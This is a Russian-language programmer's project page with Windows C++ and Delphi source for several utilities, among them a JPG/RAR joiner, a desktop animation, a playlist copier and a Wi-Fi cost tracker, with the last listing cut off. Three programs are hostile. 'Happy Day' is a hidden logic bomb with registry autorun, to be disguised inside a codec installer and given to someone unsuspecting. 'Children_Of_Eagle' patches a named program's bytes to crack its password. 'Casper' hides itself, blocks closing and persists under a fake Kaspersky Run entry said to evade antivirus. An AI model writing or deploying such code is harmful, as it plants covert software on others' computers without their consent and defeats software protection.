Projects

Vk_Send (скачать)

Как вы знаете соц. сеть ВКонтакте позволяет сохранять файлы на стринице, но количество типов файлов ограничено но есть вариант который позволит сохранять любой файл. Для это используется контейнер файл jpg к которому присоединяется архив в который уже можно засунуть любой файл.

Инструкция:

1) выбираете файл контейнер типа jpg (например foto.jpg), для удобства скопируйте его поскольку он будет безвозвратно изменен;

2) выбираете файл ресурс, файл типа *.rar (например my_files.rar) куда предварительно упаковали всю необходимую информацию;

3) нажимаете "преобразовать" в результате чего файл контейнер (foto.jpg) увеличится на размер файла ресурса (my_files.rar);

4) Как результат работы у вас получается измененный файл foto.jpg, который можно пересылать и сохранять Вконтакте;

5) После скачивания файла (foto.jpg) на компьютер с Вконтакте его надо переименовать в тип *.rar ( "foto.jpg.rar" или так "foto.rar") для доступа к содержимому архива.

//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "main.h"
#include "fstream.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"


 bool filetrue = false;
 int timers;
TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{
}
//---------------------------------------------------------------------------

void __fastcall TForm1::Button4Click(TObject *Sender)
{
        Close();
}
//---------------------------------------------------------------------------

void __fastcall TForm1::Button2Click(TObject *Sender)
{
      if (OpenDialog1->Execute())
      {
                Edit2->Text = OpenDialog1->FileName;
                if(FileExists(OpenDialog1->FileName))
                {
                        if(filetrue) { Button3->Enabled = true; }
                }
      }
}
//---------------------------------------------------------------------------


void __fastcall TForm1::BitBtn2Click(TObject *Sender)
{
        if (OpenDialog2->Execute())
      {
                Edit2->Text = OpenDialog2->FileName;
                if(FileExists(OpenDialog2->FileName))
                {
                        if(filetrue) { Button3->Enabled = true; }
                        BitBtn2->Kind = bkOK;
                        BitBtn2->Caption = "";
                }
      }
}
//---------------------------------------------------------------------------

void __fastcall TForm1::BitBtn1Click(TObject *Sender)
{
        if(OpenDialog1->Execute())
        {
                Edit1->Text = OpenDialog1->FileName;
                if(FileExists(OpenDialog1->FileName))
                {
                        filetrue = true;
                        BitBtn1->Kind = bkOK;
                        BitBtn1->Caption = "";
                        BitBtn2->Enabled = true;
                }

        }
}
//---------------------------------------------------------------------------


void __fastcall TForm1::Button3Click(TObject *Sender)
{
        //ifstream Resource(OpenDialog2->FileName.c_str(),ios::binary);

        //ofstream Conteiner(OpenDialog1->FileName.c_str(),ios::app);
        /*char ch;
        while (Resource.peek() != EOF)
        {
        Resource.read(&ch,1);
        Conteiner.write(&ch,1);
        }  */
        TFileStream *Resource = new TFileStream(OpenDialog2->FileName.c_str(),fmOpenRead);
        TFileStream *Conteiner = new TFileStream(OpenDialog1->FileName.c_str(),fmOpenWrite);


        Conteiner->Position = Conteiner->Size;
        Timer1->Enabled = true;
        Conteiner->CopyFrom(Resource,Resource->Size);
        

        Conteiner->Free();
        Resource->Free();
                ProgressBar1->Position = 100;
                Timer1->Enabled= false;
        ShowMessage("Сделано");
        Button3->Enabled = false;

}
//---------------------------------------------------------------------------

void __fastcall TForm1::Timer1Timer(TObject *Sender)
{

        ProgressBar1->Position = timers;
        timers++;

}
//---------------------------------------------------------------------------



Road Runner (скачать)

Думаю всем нравятся мультфильмы "Looney Tunes" и все помнят Дорожного бегуна, так вот эта программа нопомнит Вам если кто забыл, что вытворял Дорожный бегун убегая от Койота. Программа исполует изображение мультгироя которое перемещает по рабочему столу в хаотичном порядке и это сопровождается Wav-файлом типа "Meep-Meep" )).

unit URoad_Runner;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, jpeg, mmsystem;

type
  TMain = class(TForm)
    Image1: TImage;
    Timer1: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure FormMouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure FormMouseUp(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure Timer1Timer(Sender: TObject);


    //function CreateRgnFromBitmap(rgnBitmap : TBitmap) : HRGN;
  private
    { Private declarations }
    Dragging : Boolean;
    OldLeft, OldTop : integer ;
  public
    { Public declarations }
  end;

var
  Main: TMain;

implementation

{$R *.dfm}

function CreateRgnFromBitmap(rgnBitmap : TBitmap) : HRGN;
var
  transColor : TColor;
  i, j : integer;
  i_width, i_height : integer;
  i_left, i_right : integer;
  rectRgn : HRGN;
begin
  Result := 0;

  // zapominaem razmeru okna
  i_width := rgnBitmap.Width;
  i_height := rgnBitmap.Height;

  // opredelyaem prozrachnuy cvet
  transColor := rgnBitmap.Canvas.Pixels[0, 0];

  // Zapyskaem cukl perebora strok kartinku
  // dlya opredeleniya oblasty okna bez fona
  for i := 0 to i_height - 1 do
    begin
      i_left := -1;

      // Zapyskaem cukl perebora stolbcov cartinky
      for j := 0 to i_width - 1 do
        begin
          if i_left < 0 then
            begin
              if rgnBitmap.Canvas.Pixels[j, i] <> transColor then
                i_left := j;
              end
            else
              if rgnBitmap.Canvas.Pixels[j, i] = transColor then
                begin
                  i_right := j;
                  rectRgn := CreateRectRgn(i_left, i, i_right, i + 1);
                  if Result = 0 then
                    Result := rectRgn
                  else
                    begin
                      CombineRgn(Result, Result, rectRgn, RGN_OR);
                      DeleteObject(rectRgn);
                    end;
                  i_left := -1;
                end;
              end;
              if i_left >= 0 then
                begin
                  rectRgn := CreateRectRgn(i_left, i, i_width, i + 1);
                  if Result =  0 then
                  Result := rectRgn
                else
                  begin
                    CombineRgn(Result, Result, rectRgn, RGN_OR);
                    DeleteObject(rectRgn);
                  end;
                end;
              end;
            end;

procedure TMain.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
   if Dragging then
    begin
      Left := Left+X-OldLeft;
      Top := Top+Y-OldTop;
    end;
end;

procedure TMain.FormMouseUp(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
  Dragging := False;
end;

procedure TMain.FormCreate(Sender: TObject);
var
  WindowRgn : HRGN;
begin
  ShowWindow(Handle, SW_HIDE);
  ShowWindow(Application.Handle, SW_HIDE);
  BorderStyle := bsNone;
  ClientWidth := Image1.Picture.Bitmap.Width;
  ClientHeight := Image1.Picture.Bitmap.Height;
  WindowRgn := CreateRgnFromBitmap(Image1.Picture.Bitmap);
  SetWindowRgn(Handle, WindowRgn, True);
  Top := Screen.Height - Height;
  Left := Screen.Width - Width;
end;



procedure TMain.FormMouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
  if button = mbLeft then
    begin
      Dragging := True;
      OldLeft := X;
      OldTop := Y;
    end;
end;

procedure TMain.Timer1Timer(Sender: TObject);
var
   i,t : integer;
   h : Thandle;
   num, hack : word;
begin
  sndPlaySound('URoad_Runner.dll', SND_ASYNC);
  randomize ;
  Timer1.Interval := random(70000);
  h := createevent(nil, True, False, 'et');
  num := random(100)+10;
  hack := random(100)+10;
  for i := 1 to num do begin
    Left := Screen.Width - Width - i*10;
    repaint;
    waitforsingleobject(h,10);

  end;

  for i := 50 downto 1 do
  begin
    Top := Screen.Height - Height - i*5;
    repaint;
    waitforsingleobject(h,5);
  end;

  for t := 0 to hack do
    begin
      Left := Left - t*3;
      repaint;
      waitforsingleobject(h,5)
    end;

  Top := 0;
  Left := Screen.Width + Width;
  sndPlaySound('WRoad_Runner.dll', SND_ASYNC);

  for t := 0 to (hack + 100) do
    begin
      Left := Left - t;
      repaint;
      waitforsingleobject(h,10)
    end;

  Top := Screen.Height - Height;

  closeHandle(h);

end;

end.

M3U Copier (скачать)

Кто очень любит пользоваться WinAmp-ом, а не другими программами аналогами оценит полезность этой проги. Имея кучу плейлистов хотелось бы перенести себе на плеер или другой носитель информации тот свой удобный и упорядоченный список мр3 треков, это вожможно используя эту прогу, она копирует файлы из списка туда куда Вы ей скажете.

// ******************************
// **** 					*****
// ****        Main.h   	*****
// ****						*****
// ******************************	
//---------------------------------------------------------------------------

#ifndef MainH
#define MainH
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
#include <ComCtrls.hpp>
#include <ExtCtrls.hpp>
#include <ImgList.hpp>
#include <ToolWin.hpp>
#include <Dialogs.hpp>
#include "cdiroutl.h"
#include <Grids.hpp>
#include <Outline.hpp>
#include <FileCtrl.hpp>
//---------------------------------------------------------------------------
class TForm1 : public TForm
{
__published:	// IDE-managed Components
        TListView *M3FileList;
        TPanel *ToolsPanel;
        TToolBar *MToolBar;
        TToolButton *ButtOpen;
        TToolButton *Separator_1;
        TToolButton *ButtCopy;
        TImageList *ImageList1;
        TStatusBar *StatusBar1;
        TToolButton *Separator_2;
        TToolButton *ButtExit;
        TOpenDialog *OpenDialog1;
        TToolButton *ToolButton1;
        TToolButton *ToolButton2;
        void __fastcall ButtExitClick(TObject *Sender);
        void __fastcall ButtOpenClick(TObject *Sender);
        void __fastcall ButtCopyClick(TObject *Sender);
        void __fastcall ToolButton1Click(TObject *Sender);


private:	// User declarations
public:		// User declarations
        __fastcall TForm1(TComponent* Owner);
        int CopyFiles( AnsiString slSourceDir, AnsiString slTargetDir);

        AnsiString *FilePaths;
};
//---------------------------------------------------------------------------
extern PACKAGE TForm1 *Form1;
//---------------------------------------------------------------------------
#endif
// ******************************
// **** 					*****
// ****        Main.cpp  	*****
// ****						*****
// ******************************
//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop
#include <fstream.h>
#include "Main.h"



//---------------------------------------------------------------------------
#pragma package(smart_init)
//#pragma link "cdiroutl"
#pragma resource "*.dfm"

////////////////////////////////////////////////
///// Veriables /////////////////////////////////////////////


/////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////

TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::ButtExitClick(TObject *Sender)
{
        Close();
}
//---------------------------------------------------------------------------
void __fastcall TForm1::ButtOpenClick(TObject *Sender)
{

        if (OpenDialog1->Execute())
        {
                M3FileList->Clear();
                StatusBar1->Panels->Items[3]->Text = 0;
                ifstream MFile((OpenDialog1->FileName).c_str());
                char MTheName[255];
                char MThePath[255];
                FilePaths = new AnsiString("");

                if ((MFile.peek()) != EOF)
                {
                     int FileIndex = 0;
                     MFile.ignore(8,'\0');
                     while ((MFile.peek()) != EOF)
                     {
                        MFile.ignore(20,',');

                        MFile.getline(MTheName,255,'\n');
                        M3FileList->Items->Add();
                        M3FileList->Items->Item[FileIndex]->Caption = MTheName;
                        M3FileList->Items->Item[FileIndex]->ImageIndex = 21;

                        MFile.getline(MThePath,255,'\n');

                        M3FileList->Items->Item[FileIndex]->SubItems->Add(MThePath);

                        if (FileExists(MThePath))
                        {
                                M3FileList->Items->Item[FileIndex]->SubItems->Add("Eсть");
                                M3FileList->Items->Item[FileIndex]->SubItemImages[1] = 4;
                                *FilePaths = *FilePaths + MThePath + '\0';
                        }
                        else
                        {
                                M3FileList->Items->Item[FileIndex]->SubItems->Add("Нет");
                                M3FileList->Items->Item[FileIndex]->SubItemImages[1] = 2;
                                StatusBar1->Panels->Items[3]->Text = StrToInt(StatusBar1->Panels->Items[3]->Text) + 1;
                        }

                        FileIndex++;
                     }
                StatusBar1->Panels->Items[1]->Text = M3FileList->Items->Count;
                ButtCopy->Enabled = true;

                }
                MFile.close();
        }


}
//---------------------------------------------------------------------------

void __fastcall TForm1::ButtCopyClick(TObject *Sender)
{
        AnsiString TheSavePath = "";    // путь для сохранения
        if (SelectDirectory("Выберите каталог :", "", TheSavePath))
        {
             *FilePaths = *FilePaths + '\0';
                AnsiString TheFileName = ""; // имя файла из списка
                AnsiString TheFileNameStr = ""; // имена всех файлов

                        if(!CopyFiles(*FilePaths, TheSavePath.c_str()))
                        {
                                ShowMessage("Скопированно...");
                        }
        }
        ButtCopy->Enabled = false;
        delete FilePaths;
        FilePaths = 0;
}
//---------------------------------------------------------------------------

int TForm1::CopyFiles( AnsiString slSourceDir, AnsiString slTargetDir)
{
        SHFILEOPSTRUCT ShFileStruct;
        ShFileStruct.hwnd = 0;
        ShFileStruct.wFunc = FO_COPY;
        ShFileStruct.pFrom = slSourceDir.c_str();
        ShFileStruct.pTo = slTargetDir.c_str();
        ShFileStruct.fFlags = NULL ;
        ShFileStruct.hNameMappings = NULL;
        ShFileStruct.lpszProgressTitle = NULL;
        return SHFileOperation(&ShFileStruct);
}


void __fastcall TForm1::ToolButton1Click(TObject *Sender)
{
        ShowMessage("M3U Copier ver 1.00\nАвтор : Лисовой Игорь Леонидович\n2010");
}
//---------------------------------------------------------------------------

Happy Day (скачать)

Если Вы хотите поздравить на день роздения своего знакомого это хороший подарок, самое главное сделать без подозрений. Достаточно один раз запустить программу и она создаст логическую бомбу (выполнение программы производится в определенный день и час). В нашем примере мы прописали дату роздение нашого знакомого в качестве подарка будет поздравление на робочем столе ПК и передали ему этот файл не в чистом виде конечно, создали файл контейнер с помощью NSIS вложили туда новые кодеки ( можно и другое, на то что точно запустит ваш знакомый) и добавили нашого подселенца. Достаточно установить кодеки и бомба будет ожидать своего времени ;).

// ******************************
// **** 					*****
// ****        Desk.h   	*****
// ****						*****
// ******************************
//---------------------------------------------------------------------------
#ifndef DeskH
#define DeskH
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
#include <ExtCtrls.hpp>
//---------------------------------------------------------------------------
class TForm1 : public TForm
{
__published:	// IDE-managed Components

        void __fastcall FormCreate(TObject *Sender);
        void __fastcall FormShow(TObject *Sender);

        
private:	// User declarations
public:		// User declarations
        __fastcall TForm1(TComponent* Owner);
};
//---------------------------------------------------------------------------
extern PACKAGE TForm1 *Form1;
//---------------------------------------------------------------------------
#endif

// ******************************
// **** 					*****
// ****      Desk.cpp	    *****
// ****						*****
// ******************************
//---------------------------------------------------------------------------

#include <vcl.h>
#include <Registry.hpp>
#pragma hdrstop

#include "Desk.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;

void WriteReg();
void CleanReg();
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{
}
//---------------------------------------------------------------------------


//---------------------------------------------------------------------------
void __fastcall TForm1::FormCreate(TObject *Sender)
{
        AnsiString HappyDay;

        HappyDay = FormatDateTime("d", Date());

        WriteReg();

        if (HappyDay == "13") {
              SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, "HappyDay.dll", SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
        }
        if (HappyDay == "3") {
              CleanReg();
        }

}
//---------------------------------------------------------------------------


void __fastcall TForm1::FormShow(TObject *Sender)
{
        ShowWindow(Handle, SW_HIDE);
        ShowWindow(Application->Handle, SW_HIDE);
}

//---------------------------------------------------------------------------

void WriteReg()
{
        TRegistry *Reg = new TRegistry(KEY_ALL_ACCESS);
        try
        {
                Reg->RootKey = HKEY_LOCAL_MACHINE;
                if (Reg->OpenKey("\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",True))
                {
                        Reg->WriteString("HappyDay","C:\\Windows\\System32\\HappyDay.exe");
                        Reg->CloseKey();
                }
        }
        __finally
        {
                delete Reg;
        }
}
////////////////////////////////////////////////
void CleanReg() {

       TRegistry *Reg = new TRegistry(KEY_ALL_ACCESS);
       try
       {
              Reg->RootKey = HKEY_LOCAL_MACHINE;
              if (Reg->OpenKey("\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",True))
              {
                     Reg->DeleteValue("HappyDay");
                     Reg->CloseKey();
              }
       }
       __finally
       {
              delete Reg;
       }
}

//---------------------------------------------------------------------------

Children_Of_Eagle (скачать не дам, противозаконно)

Программа-патчер, с помощью нее можно узнать пароль к программе (не к каждой), при запуске патчер создает копию программы которую будет ломать и сней работает. После запуска производится поиск адреса ( смещение в памяти программы "Offset" ) памяти и проверка байта по этому месту если байт совпадает с тем байтом который у казан в таблице ( см. ниже ) производится его замена и последующее изменение кода программы. После чего запускается наша цель при нажатии на кнопку авторизации появляется сообщение где вместо надписи "не верный пароль" будет написан пароль, завершение патчера удаляет созданною ранее копию программы :)).

// ******************************
// **** 					*****
// ****   Rapid_Snail_U.h	*****
// ****						*****
// ******************************
//---------------------------------------------------------------------------

#ifndef Rapid_Snail_UH
#define Rapid_Snail_UH
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
#include <ExtCtrls.hpp>
#include <Graphics.hpp>
#include <Buttons.hpp>
#include "CGAUGES.h"
#include <Dialogs.hpp>
//---------------------------------------------------------------------------
class TForm1 : public TForm
{
__published:	// IDE-managed Components
       TPanel *Panel2;
       TPanel *Panel3;
       TImage *ImgLabel;
       TPanel *MemoPanel;
       TMemo *Memo1;
       TLabel *CaptionLabel;
       TLabel *LabelExit;
       TSpeedButton *ButtPatch;
       TSpeedButton *ButtAbout;
       TOpenDialog *OpenDialog1;
       void __fastcall FormShow(TObject *Sender);
       void __fastcall SpeedButton1Click(TObject *Sender);
       void __fastcall LabelExitClick(TObject *Sender);
       void __fastcall CaptionLabelMouseDown(TObject *Sender,
          TMouseButton Button, TShiftState Shift, int X, int Y);
       void __fastcall CaptionLabelMouseMove(TObject *Sender,
          TShiftState Shift, int X, int Y);
       void __fastcall CaptionLabelMouseUp(TObject *Sender,
          TMouseButton Button, TShiftState Shift, int X, int Y);
       void __fastcall ButtAboutClick(TObject *Sender);
       void __fastcall ButtPatchClick(TObject *Sender);
     void __fastcall FormClose(TObject *Sender, TCloseAction &Action);
     void __fastcall Memo1KeyPress(TObject *Sender, char &Key);
private:	// User declarations
public:		// User declarations
       __fastcall TForm1(TComponent* Owner);
};
//---------------------------------------------------------------------------
extern PACKAGE TForm1 *Form1;
//---------------------------------------------------------------------------
#endif

// ******************************
// **** 					*****
// ****   Rapid_Snail_U.cpp	*****
// ****						*****
// ******************************
//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "Rapid_Snail_U.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)

#pragma resource "*.dfm"

//--------------------------- Variables -------------------------------------
     // --------- The file name ------------------------------------
       AnsiString FileName;
       int OldLeft;
       int OldTop;
       bool DragWin;


TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
       : TForm(Owner)
{
}
//---------------------------------------------------------------------------

void __fastcall TForm1::FormShow(TObject *Sender)
{
                    DragWin = false;
                    FileName = "C:\\Program Files\\eazfix\\eazfix.exe";
}
//---------------------------------------------------------------------------

void __fastcall TForm1::SpeedButton1Click(TObject *Sender)
{
       Application->Minimize();
}
//---------------------------------------------------------------------------



void __fastcall TForm1::LabelExitClick(TObject *Sender)
{
            DeleteFileA(FileName + "Pch.exe");
       Application->Terminate();
}
//---------------------------------------------------------------------------



void __fastcall TForm1::CaptionLabelMouseDown(TObject *Sender,
      TMouseButton Button, TShiftState Shift, int X, int Y)
{
       if (Button == mbLeft){
              DragWin = true;
              OldLeft = X;
              OldTop = Y;
       }
}
//---------------------------------------------------------------------------

void __fastcall TForm1::CaptionLabelMouseMove(TObject *Sender,
      TShiftState Shift, int X, int Y)
{
       if (DragWin){
              Form1->Left = Form1->Left+X-OldLeft;
              Form1->Top = Form1->Top+Y-OldTop;
       }
}
//---------------------------------------------------------------------------

void __fastcall TForm1::CaptionLabelMouseUp(TObject *Sender,
      TMouseButton Button, TShiftState Shift, int X, int Y)
{
       DragWin = false;
}
//---------------------------------------------------------------------------

void __fastcall TForm1::ButtAboutClick(TObject *Sender)
{
       ShowMessage("|>----------------------------<|\n\nWe Are Children Of Eagle\nAnd We Never Stop, Will Do It Always.\n\n2009.05.05\n\n|>----------------------------<|");
}
//---------------------------------------------------------------------------

void __fastcall TForm1::ButtPatchClick(TObject *Sender)
{


     // --------- Array of bytes that be replaced ------------------
       signed char ArrayOldBytes[17] =
       {0x8a, 0x10, 0x8a, 0x1f, 0x8a, 0xca, 0x3a, 0xd3,
       0x75, 0x1e, 0x84, 0xc9, 0x74, 0x16, 0x8a, 0x50, 0x01};

     // --------- Array of new bytes -------------------------------
       signed char ArrayNewBytes[17] =
       {0x6a, 0x00, 0x6a, 0x00, 0x50, 0x6a, 0x00, 0xff,
       0x15, 0x04, 0xb6, 0x48, 0x00, 0x90, 0x90, 0x90, 0x90};

     //-------------------------------------------------------------


       if (FileExists(FileName))
       {
          Memo1->Lines->Add("> File : " + FileName);

          CopyFileA(FileName.c_str(), (FileName + "Pch.exe").c_str(), true);

          TFileStream *ptheFile = new TFileStream(FileName + "Pch.exe", fmOpenReadWrite);
          signed char *theByte = new signed char(0x00);

          for (int i = 0; i<=16; i++)
          {
               ptheFile->Seek(0x023C33 + i, soFromBeginning);

               ptheFile->Read(theByte,1);

               if(*theByte == ArrayOldBytes[i])
               {
                    *theByte = ArrayNewBytes[i];
                    ptheFile->Seek(0x023C33 + i, soFromBeginning);
                    ptheFile->Write(theByte,1 );
               }
          }
       ptheFile->Free();
       ShellExecuteA(Application->Handle, "open", (FileName + "Pch.exe").c_str(), NULL, NULL, SW_NORMAL);
       Memo1->Lines->Add("> Done.");
       }
       else
       {
          Memo1->Lines->Add("> Select The File.");
          if (OpenDialog1->Execute())
          {
               FileName = OpenDialog1->FileName;
               ButtPatch->Click();
          }
       }


}
//---------------------------------------------------------------------------

void __fastcall TForm1::FormClose(TObject *Sender, TCloseAction &Action)
{
     DeleteFileA(FileName + "Pch.exe");
     Application->Terminate();
}
//---------------------------------------------------------------------------

void __fastcall TForm1::Memo1KeyPress(TObject *Sender, char &Key)
{
     if (Key == 13)
          ButtPatch->Click();
}
//---------------------------------------------------------------------------


Casper (скачать)

Идея программы заключается в изменении фона робочого стола ОС с периодичностью в 15 минут. Программа прописывает себя в системный реестр на автозапуск, себя копирует в системный каталог, является скрытой и антивирусом не замечена.

// ******************************
// **** 					*****
// ****     Desk.h			*****
// ****						*****
// ******************************	
//---------------------------------------------------------------------------
#ifndef DeskH
#define DeskH
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
#include <ExtCtrls.hpp>
//---------------------------------------------------------------------------
class TForm1 : public TForm
{
__published:	// IDE-managed Components
        TTimer *Timer1;
        void __fastcall Button1Click(TObject *Sender);
        void __fastcall FormCreate(TObject *Sender);
        void __fastcall FormShow(TObject *Sender);
        void __fastcall Timer1Timer(TObject *Sender);
        void __fastcall FormCloseQuery(TObject *Sender, bool &CanClose);
private:	// User declarations
public:		// User declarations
        __fastcall TForm1(TComponent* Owner);
};
//---------------------------------------------------------------------------
extern PACKAGE TForm1 *Form1;
//---------------------------------------------------------------------------
#endif

// ******************************
// **** 					*****
// ****     Desk.cpp		*****
// ****						*****
// ******************************
//---------------------------------------------------------------------------

#include <vcl.h>
#include <Registry.hpp>
#pragma hdrstop

#include "Desk.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;

void WriteReg();
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{
}
//---------------------------------------------------------------------------

void __fastcall TForm1::Button1Click(TObject *Sender)
{
ShowWindow(Handle, SW_HIDE);
ShowWindow(Application->Handle, SW_HIDE);
}
//---------------------------------------------------------------------------
void __fastcall TForm1::FormCreate(TObject *Sender)
{
        SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, "SysNt.dll", SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
        WriteReg();
}
//---------------------------------------------------------------------------


void __fastcall TForm1::FormShow(TObject *Sender)
{
        ShowWindow(Handle, SW_HIDE);
        ShowWindow(Application->Handle, SW_HIDE);
}
//---------------------------------------------------------------------------

void __fastcall TForm1::Timer1Timer(TObject *Sender)
{
        SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, "SysNt.dll", SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
        WriteReg();
}
//---------------------------------------------------------------------------

void WriteReg()
{
        TRegistry *Reg = new TRegistry(KEY_ALL_ACCESS);
        try
        {
                Reg->RootKey = HKEY_LOCAL_MACHINE;
                if (Reg->OpenKey("\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",True))
                {
                        Reg->WriteString("KAVPersonal50Sys","C:\\Windows\\System32\\KAVSYS.exe");
                        Reg->CloseKey();
                }
        }
        __finally
        {
                delete Reg;
        }
}
void __fastcall TForm1::FormCloseQuery(TObject *Sender, bool &CanClose)
{
 CanClose = False;        
}
//---------------------------------------------------------------------------


Wi-Fi Counter (скачать)

Программа предназначенна для ведения статистики, денежных затрат по двум видам подключений "Wi-Fi" и "Dial-Up", будет очень полезна тем кто использует карточки "Все Світ Плюс", которые можно преобрести в отделах Укртелекома, ввод данных производиться вручную, если программка комуто понравиться, будем делать чтоб она считовала всю информацию автоматически. Программа написана на С++ ( Должна гарантировать стабильность и мультиплатформеность :) ).

Главное окно

Главное окно

  1. Кнопка завершения программы, если был произведен ввод информации, то перед закрытием программа продложит сохранить изменения.
  2. Обновляет содержимое.
  3. Статистика, открывает окно статистики.
  4. Настройки, позволяет настройть внешний вид программы, показ трея возле часиков, автозапуск вместе с виндовс.
  5. Запуск справки , то что Вы сейчас читаете.
  6. Использование карточки , удобное представление сколько процентов карточки у Вас в распоряжение, очень дохотчиво.
  7. Позволяет выбрать вид подключения , чтобы ввести сумму или время потраченное в интернете.
  8. Подсчитать, после  ввода информации позволяет подчитать баланс карточки, время, количество мегабайт.
  9. Новый файл , выводит диалоговое окно для выбора и создание файл-карточки.

Создание файл-карточки

Новая карточка

  1. Список видов карточек, возволяет выбрать вид карточки.
  2. Показывет количество мегабайт на выбранной карточки.
  3. Показывет стоимость одного часа, при "Dialup" подключении.

Статистика

Статистика

  1. Показывает какое подключение было использовано в последний раз.
  2. Сумма всех подключений.

Настройки

Настройки программы

  1. Автозапуск, устанавливает будет ли программа запускаться автоматически с ОС.
  2. Трей-икон, для удобства,
  3. Видимость (прозрачность),  порог видимости программы.
  4. По умолчанию, сбивает все настройки.
// ******************************
// **** 					*****
// ****     Main.h			*****
// ****						*****
// ******************************
#ifndef MainH
#define MainH
//---------------------------------------------------------------------------
#include <sysutils.hpp>
#include <windows.hpp>
#include <messages.hpp>
#include <sysutils.hpp>
#include <classes.hpp>
#include <graphics.hpp>
#include <controls.hpp>
#include <forms.hpp>
#include <dialogs.hpp>
#include <stdctrls.hpp>
#include <buttons.hpp>
#include <extctrls.hpp>
#include <menus.hpp>
#include <Buttons.hpp>
#include <Classes.hpp>
#include <Controls.hpp>
#include <Dialogs.hpp>
#include <ExtCtrls.hpp>
#include <Menus.hpp>
#include <ComCtrls.hpp>
#include <ToolWin.hpp>
#include <StdCtrls.hpp>
#include <ImgList.hpp>
#include <Graphics.hpp>
#include <Mask.hpp>
#include "trayicon.h"

//---------------------------------------------------------------------------
class TheCard;
class TMainForm : public TForm
{
__published:
        TMainMenu *GeneralMenu;
	TMenuItem *FileNewItem;
	TMenuItem *FileOpenItem;
	TMenuItem *FileSaveItem;
	TMenuItem *FileSaveAsItem;
	TMenuItem *FilePrintItem;
	TMenuItem *FilePrintSetupItem;
	TMenuItem *FileExitItem;
	TMenuItem *HelpContentsItem;
	TMenuItem *HelpAboutItem;
	TOpenDialog *OpenDialog;
	TSaveDialog *SaveDialog;
	TPrintDialog *PrintDialog;
	TPrinterSetupDialog *PrintSetupDialog;
        TControlBar *MainControlPanel;
        TToolBar *HelpBar;
        TToolBar *FileBar;
        TMenuItem *ViewMenu;
        TMenuItem *ViewShowToolsBarItem;
        TPanel *MainPanel;
        TGroupBox *GrpBoxConnectType;
        TImage *ImgConnect;
        TRadioButton *RadioButtWifi;
        TRadioButton *RadionButtDialUp;
        TGroupBox *GrpBoxGeneralInfo;
        TLabel *LabelCardType;
        TTimer *MainTimer;
        TLabel *LabelCardTypeIn;
        TLabel *LabelCapacityMb;
        TLabel *LabelCapacityMbIn;
        TLabel *LabelManyLeft;
        TLabel *LabelManyLeftIn;
        TLabel *LabelMbytesLeft;
        TLabel *LabelMbytesLeftIn;
        TLabel *LabelTimeLeft;
        TLabel *LabelTimeLeftIn;
        TBevel *BevelTopLine;
        TPanel *PanelWiFiConnect;
        TEdit *EditSpentMb;
        TButton *CountButtWiFi;
        TLabel *LabelSpentMb;
        TImageList *ToolBarImages;
        TToolButton *ToolButNewFile;
        TToolButton *ToolButOpenFile;
        TToolButton *ToolButSaveFile;
        TToolButton *ToolButPrint;
        TToolButton *ToolButExit;
        TToolButton *ToolButAbout;
        TToolButton *ToolButHelp;
        TEdit *EditLeftMb;
        TLabel *LabelLeftMb;
        TPanel *PanelDialUpConnect;
        TGroupBox *GrpBoxCardUse;
        TProgressBar *ProgressBarCardUse;
        TButton *ButtCountDial;
        TCheckBox *ChBoxCountInTime;
        TPanel *PanelSetTimeSpent;
        TLabel *LabelSpentTime;
        TEdit *EditSpentHours;
        TLabel *LabelSpentTimeDot;
        TEdit *EditSpentMinutes;
        TUpDown *UpDownSpentMinutes;
        TEdit *EditLeftHours;
        TLabel *LabelLeftTimes;
        TUpDown *UpDownSpentHours;
        TLabel *Label6;
        TPanel *PanelSetManySpent;
        TLabel *LabelSpentMany;
        TLabel *LabelLeftMany;
        TEdit *EditLeftMany;
        TToolBar *EditBar;
        TToolButton *ToolButStatistics;
        TMenuItem *EditMenu;
        TMenuItem *EditSettingsItem;
